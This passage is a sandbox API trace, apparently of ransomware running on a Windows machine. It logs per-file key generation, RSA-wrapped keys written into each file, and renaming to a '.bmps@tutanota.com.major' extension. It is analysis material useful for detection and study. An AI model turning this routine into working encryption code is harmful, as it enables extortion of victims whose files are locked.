pszString="NUCthQl34Yl7U+sJIQ8Hu3m8cvJDPQ9TQDlq6wqFVAr8iIEUj5ehYLieNDJ56dZP\n5whrjB8stE9Teb48aXC1s5lE9Esz7S41gMet3Rq/9r8BEH6BdLJFInvIHTquCjp3\nvVHdIpwXLkYTbGJ0cWlC20F++orXA/9xC1I1vFEpjUzRnnXvXU5+p4En65P9xIFN\nWnOkzML2MMAPcJNsVjKBN0OcP0LY+r3Cmn6H+ls9x6WZ0Hp1rR1pXvjG+Pb5w2Dg\nax8mKevu6nqmVrNhP1c1qM0gVy+OFQZjAUz+MVxdG2rhsKrAobPt48N0WGk/yqjJ\nVJv66zBH0MrM09n1lDajgA==\n", pcchString=0x2e3f9a8) returned 1 [0196.824] WriteFile (in: hFile=0xd7c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.824] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.824] WriteFile (in: hFile=0xd7c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.825] CloseHandle (hObject=0xd7c) returned 1 [0196.825] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\MessagingBackgroundTaskLog.last.etl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localcache\\messagingbackgroundtasklog.last.etl"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\MessagingBackgroundTaskLog.last.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localcache\\messagingbackgroundtasklog.last.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0196.827] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.827] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\MessagingBackgroundTaskLog.etl", dwFileAttributes=0x80) returned 1 [0196.828] ReadFile (in: hFile=0xd7c, lpBuffer=0x2f2d010, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2d010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0196.830] SetFilePointer (in: hFile=0xd7c, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.830] WriteFile (in: hFile=0xd7c, lpBuffer=0x2f31018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f31018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0196.830] SetFilePointer (in: hFile=0xd7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0196.830] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.830] WriteFile (in: hFile=0xd7c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.831] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.831] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.831] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.831] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="l828LnYK4sO3iuYjQUU0swt7JFeF/PvgqVPKXE6huYukbLlF4+9btK6WhJUFTdwz\n0SMFwqmRWmrlCFXJOZ4LegbiRcccLp2iukNdkbpXbQN/dEJxNcljpwLtWGDXaWaR\nNUanNp9oD2H0ib29ykEx7rthFd4nh/BoCC/j1peBtN/EbKWslQBNCEq0E6P0LBur\nofI7CQH+JUnYKBZMcB2QNuvvNlT8qIcYywOQ/mMS49yE0t/Op2H4ykjiV6TiuL/K\nmOL0qLIWhTqnUkt/+WQFd4zaziIiQIiRCPE0dLM/LEeqJPmhO2Z9HxO7CGlI9hBO\nJUVx+7KFhwdFSbYv+N6dig==\n", pcchString=0x2e3f9a8) returned 1 [0196.831] WriteFile (in: hFile=0xd7c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.832] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.832] WriteFile (in: hFile=0xd7c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.832] CloseHandle (hObject=0xd7c) returned 1 [0196.832] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\MessagingBackgroundTaskLog.etl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localcache\\messagingbackgroundtasklog.etl"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\MessagingBackgroundTaskLog.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localcache\\messagingbackgroundtasklog.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0196.835] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.835] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\HasRegisteredAsDefaultApp.setting", dwFileAttributes=0x80) returned 1 [0196.836] ReadFile (in: hFile=0xd7c, lpBuffer=0x59d1c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x4, lpOverlapped=0x0) returned 1 [0196.836] SetFilePointer (in: hFile=0xd7c, lDistanceToMove=-4, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.836] WriteFile (in: hFile=0xd7c, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4, lpOverlapped=0x0) returned 1 [0196.837] SetFilePointer (in: hFile=0xd7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4 [0196.837] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.837] WriteFile (in: hFile=0xd7c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.837] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.837] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.837] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.837] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xk5jYfO4lT+Nf6YE7mB7Z5Y9RZQhPrk2zNIhxXxEfLxApWlIqPBJOLqjD7Fefnpd\nQ6IhkdtUtOT+BMlPmKxQNBn3Gif5DZLqcBmRlNRpXTZfNlwRjCSxJJap5Q6JuU5j\nnSW/sRM6tDXFItrE5eAf2lIxQ64zcvsTqC892MHmWIr/G/lIcfrEdY9TCjm8Lqw2\nvZyczggbfqltWVBXFXC1jt+qVM5lBOLSlMAh5HkDjxTEb4WXVWmgaXZqkjd3PBVf\nmzKddnLYHmz1bXgDMB3NvTEocTw/SGs832SAS15pgYc6KtftKATTM8fErDxRkpaF\nveyzsuTpjFzGCglGUc/5Ug==\n", pcchString=0x2e3f9a8) returned 1 [0196.838] WriteFile (in: hFile=0xd7c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.838] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.838] WriteFile (in: hFile=0xd7c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.838] CloseHandle (hObject=0xd7c) returned 1 [0196.838] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\HasRegisteredAsDefaultApp.setting" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localcache\\hasregisteredasdefaultapp.setting"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\HasRegisteredAsDefaultApp.setting.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localcache\\hasregisteredasdefaultapp.setting.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0196.840] SetLastError (dwErrCode=0x0) [0196.840] GetLastError () returned 0x0 [0196.840] SetLastError (dwErrCode=0x0) [0196.840] GetLastError () returned 0x0 [0196.840] SetLastError (dwErrCode=0x0) [0196.840] SetLastError (dwErrCode=0x0) [0196.840] GetLastError () returned 0x0 [0196.840] SetLastError (dwErrCode=0x0) [0196.840] GetLastError () returned 0x0 [0196.840] SetLastError (dwErrCode=0x0) [0196.840] SetLastError (dwErrCode=0x0) [0196.840] GetLastError () returned 0x0 [0196.840] SetLastError (dwErrCode=0x0) [0196.840] GetLastError () returned 0x0 [0196.840] SetLastError (dwErrCode=0x0) [0196.840] SetLastError (dwErrCode=0x0) [0196.840] GetLastError () returned 0x0 [0196.840] SetLastError (dwErrCode=0x0) [0196.840] SetLastError (dwErrCode=0x0) [0196.872] WriteFile (in: hFile=0xd80, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.873] CloseHandle (hObject=0xd80) returned 1 [0196.873] SetLastError (dwErrCode=0x0) [0196.873] GetLastError () returned 0x0 [0196.873] SetLastError (dwErrCode=0x0) [0196.873] GetLastError () returned 0x0 [0196.873] SetLastError (dwErrCode=0x0) [0196.874] SetLastError (dwErrCode=0x0) [0196.874] GetLastError () returned 0x0 [0196.874] SetLastError (dwErrCode=0x0) [0196.874] GetLastError () returned 0x0 [0196.874] SetLastError (dwErrCode=0x0) [0196.874] SetLastError (dwErrCode=0x0) [0196.874] GetLastError () returned 0x0 [0196.874] SetLastError (dwErrCode=0x0) [0196.874] SetLastError (dwErrCode=0x0) [0196.875] WriteFile (in: hFile=0xd80, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.876] CloseHandle (hObject=0xd80) returned 1 [0196.876] SetLastError (dwErrCode=0x0) [0196.876] GetLastError () returned 0x0 [0196.876] SetLastError (dwErrCode=0x0) [0196.876] GetLastError () returned 0x0 [0196.876] SetLastError (dwErrCode=0x0) [0196.876] SetLastError (dwErrCode=0x0) [0196.876] GetLastError () returned 0x0 [0196.876] SetLastError (dwErrCode=0x0) [0196.876] GetLastError () returned 0x0 [0196.877] SetLastError (dwErrCode=0x0) [0196.877] SetLastError (dwErrCode=0x0) [0196.877] GetLastError () returned 0x0 [0196.877] SetLastError (dwErrCode=0x0) [0196.877] GetLastError () returned 0x0 [0196.877] SetLastError (dwErrCode=0x0) [0196.877] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.877] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\update.log", dwFileAttributes=0x80) returned 1 [0196.878] ReadFile (in: hFile=0xd80, lpBuffer=0x5a10c8, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a10c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x62, lpOverlapped=0x0) returned 1 [0196.879] SetFilePointer (in: hFile=0xd80, lDistanceToMove=-98, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.879] WriteFile (in: hFile=0xd80, lpBuffer=0x57e1d0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57e1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x62, lpOverlapped=0x0) returned 1 [0196.879] SetFilePointer (in: hFile=0xd80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x62 [0196.879] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.880] WriteFile (in: hFile=0xd80, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.880] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.880] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.880] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.881] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="r0wXXyNPNHV24WnuHtqnPN8WXQqY3ywTMdP5r6iTZssCsJ1hI+xfq40BGWilp5nC\ntJvlysuweitzHkotjyCJ/FaA/zcrHWS4k5d12aqjTtWTDQQRWh5mSVsEEMtAElrJ\nHZB6T3Swhi0JMint12sV+NFlVU3K7YNHRXdmhn9TejyzFntak5BZzG05Y/2LEBmq\n7q02RHhNDxi3ZtQR3gsLXKTtT54XcCmopXo4+a7J4mOj0Q6wmEzQOZusPBsdRMhX\nG08MmAin+ycGU1ldLix5s33N5tOEfys0yZ1WNSHHzyz00bJlYqhVzaKdG4WrGwD3\nnvDFI4wQZQkWQDtj813sfA==\n", pcchString=0x2e3f9a8) returned 1 [0196.881] WriteFile (in: hFile=0xd80, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.881] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.881] WriteFile (in: hFile=0xd80, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.881] CloseHandle (hObject=0xd80) returned 1 [0196.881] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\update.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\update.log"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\update.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\update.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0196.963] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.963] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\shared.xml", dwFileAttributes=0x80) returned 1 [0196.993] ReadFile (in: hFile=0xd80, lpBuffer=0x66e148, nNumberOfBytesToRead=0x8c4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e148*, lpNumberOfBytesRead=0x2e3f9b4*=0x8c4, lpOverlapped=0x0) returned 1 [0197.002] SetFilePointer (in: hFile=0xd80, lDistanceToMove=-2244, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.002] WriteFile (in: hFile=0xd80, lpBuffer=0x60d870*, nNumberOfBytesToWrite=0x8c4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8c4, lpOverlapped=0x0) returned 1 [0197.003] SetFilePointer (in: hFile=0xd80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8c4 [0197.003] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.003] WriteFile (in: hFile=0xd80, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.003] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.003] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.004] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.004] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="tsLXbmODiOWlt/KjCAd8Y122hDe63P4McbzMH2gpzvt68uivECGswkSpjM5uYaug\nnmM81G4av3+qxnp5H5pc04LfBl7fzbYi+GxRcte0npY9NNFr4mrJi6gCFNDioM7m\nuH4I5Fgj0yyeygEhTe/p+CJBOD9ZUgMC8+puGeAf5ZJag6sAWU0NnCJuKqZ6yR7Q\nCt/3aZeY52TF20GA6WBsJBfS1LUlOSpb7vR0d5barOMEL8NHF1KFy4ZT5YsVbh/1\n1o70TAQ3U0NYWSbO9IA8RB9T4yZ+vRQeGjX4h8+NPrqzJyzj4bP8PNouDtU0gYM6\nTqGjk5Z7qSGtQWdW6yvHUg==\n", pcchString=0x2e3f9a8) returned 1 [0197.004] WriteFile (in: hFile=0xd80, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.004] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.004] WriteFile (in: hFile=0xd80, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.004] CloseHandle (hObject=0xd80) returned 1 [0197.005] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\shared.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\shared.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\shared.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\shared.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0197.007] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.007] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\shared.lck", dwFileAttributes=0x80) returned 1 [0197.012] ReadFile (in: hFile=0xd80, lpBuffer=0x59d350, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.012] SetFilePointer (in: hFile=0xd80, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.012] WriteFile (in: hFile=0xd80, lpBuffer=0x59d200*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.012] SetFilePointer (in: hFile=0xd80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.012] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.012] WriteFile (in: hFile=0xd80, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.013] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.013] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.014] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.014] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sx+jiBcCrto12PtnjeOj/XYyPOmzVXlwhuAcPnzlV4/XsK3JrXS+H+udfkkeSlJA\nQ8uCF920J19E10tPPONrqpLSMjo7JG05UvMLLy4gh2KgNf33fi62xNvCENAELZJV\nyfakh4ufcq42ye4aykK/MAIYmOG3FloiAVgcQIALpClnws72wXubGwIV8A2sQ3h0\nF2Sb46wQ3rde7XYGbhv7OwPiyk1LRY6Y5MXAwrU/+jrbsmk6uGTQ4SmDEFmB+Qhy\nwLyP4K4y9H3F1M14Bs9JGJNcNXuaMTrNOfeQ+5kgfyUalOh70D704AE44gsN4Eu7\n2GFA6qsWSgivhe/6fs+drA==\n", pcchString=0x2e3f9a8) returned 1 [0197.014] WriteFile (in: hFile=0xd80, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.014] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.014] WriteFile (in: hFile=0xd80, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.014] CloseHandle (hObject=0xd80) returned 1 [0197.015] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\shared.lck" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\shared.lck"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\shared.lck.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\shared.lck.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0197.022] SetLastError (dwErrCode=0x0) [0197.022] GetLastError () returned 0x0 